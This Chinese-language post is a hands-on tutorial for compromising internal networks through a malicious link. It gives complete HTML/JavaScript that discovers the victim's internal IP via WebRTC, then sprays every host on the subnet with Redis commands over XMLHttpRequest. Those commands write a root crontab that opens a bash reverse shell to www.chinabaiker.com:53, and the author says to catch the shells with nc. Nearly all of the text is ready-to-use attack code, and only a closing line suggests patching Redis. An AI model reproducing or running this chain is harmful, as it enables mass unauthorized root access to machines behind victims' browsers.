点我一个链接就自动化入侵你的内网

参考http://www.freebuf.com/articles/web/103097.html

他这个是攻击web应用的，今天实现的是利用xss或者社工让对方点我的链接，然后利用js自动化攻击内网redis,

利用redis写任务计划批量反弹shell。

js扫内网6379不太好实现，就不进行端口探测了，直接对整个网段执行一遍exp

利用如下代码获取内网ip段：

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Document</title>
</head>
<body>
</body>
<script>
ipList = []
var webrtcxss = {
webrtc : function(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = undefined;
if(window.webkitRTCPeerConnection){
servers = {iceServers: []};
}
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
});
},
getIp : function(){
this.webrtc(function(ip){
ipList.push(ip);
});
}
}
webrtcxss.getIp()
setTimeout(function() {
alert(ipList)
}, 300)
</script>
</html>

复制代码

效果如下图

利用ajax攻击redis原理：

参考文章：http://benmmurphy.github.io/blog ... lua-sandbox-escape/

http://www.freebuf.com/articles/web/19622.html

跨域是发出数据包获取不到返回包，这里我们只管发出去不管返回，所以也不用担心跨域的问题。

下面是一个ajax操作redis写任务计划反弹的例子：

var ip = '192.168.203.2';
var port= '6379';
var dir = '/var/spool/cron/';
var filename = 'root';
var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/www.chinabaiker.com/53 0>&1';
var url = "http://" + ip + ":" + port;
var cmd = new XMLHttpRequest();
cmd.open("POST", url);
cmd.send('eval \'' + 'redis.call("set", "hacked", "\\r\\n\\n'+content+'\\n\\n\\n\\n"); redis.call("config", "set", "dir", "' + dir + '/"); redis.call("config", "set", "dbfilename", "'+filename+'"); ' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", url);
cmd.send('save\r\n');

最后来实现自动获取内网ip，自动批量攻击内网1-255的ip

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Document</title>
</head>
<body>
</body>
<script>
ipList = []
var webrtcxss = {
webrtc : function(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = undefined;
if(window.webkitRTCPeerConnection){
servers = {iceServers: []};
}
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
});
},
getIp : function(){
this.webrtc(function(ip){
ipList.push(ip);
});
}
}
webrtcxss.getIp()
setTimeout(function() {
for(var i in ipList) {
if(ipList[i]) {
var iparr = ipList[i].split(".");
for(var i=0;i<255;i++) {
var attkip = iparr [0] + "." + iparr [1] + "." + iparr [2] + "." + i;
send(attkip);
}
}
}
}, 300);
function send(ip) {
var port= '6379';
var dir = '/var/spool/cron/';
var filename = 'root';
var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/www.chinabaiker.com/53 0>&1';
var url = "http://" + ip + ":" + port;
var cmd = new XMLHttpRequest();
cmd.open("POST", url);
cmd.send('eval \'' + 'redis.call("set", "hacked", "\\r\\n\\n'+content+'\\n\\n\\n\\n"); redis.call("config", "set", "dir", "' + dir + '/"); redis.call("config", "set", "dbfilename", "'+filename+'"); ' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", url);
cmd.send('save\r\n');
}
</script>
</html>

如果嫌1-255不够可以再加一个for循环

自动向内网redis发送攻击代码

然后在自己的服务器中用nc监听你设置的端口，然后你会发现服务器已经躺在这了

redis太不安全了，就算绑定127.0.0.1也不安全..最好升级最新版，然后设个密码
